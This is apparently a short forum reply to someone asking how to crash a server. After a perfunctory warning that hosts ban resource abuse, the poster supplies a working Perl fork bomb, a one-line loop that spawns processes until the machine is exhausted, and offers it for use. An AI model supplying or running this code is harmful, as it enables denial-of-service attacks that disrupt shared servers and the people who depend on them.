It's not hard to write a program to crash a server, but yeah, I'd question why you would want to do such thing. My hosts, for example, will terminate the account of anyone who makes a habit of doing things that eat too much resources.

Anyways you can use a fork bomb. Note, I hope you aren't stupid enough to do this, and if you are, don't blame me.

#!/usr/bin/perl
fork while 1;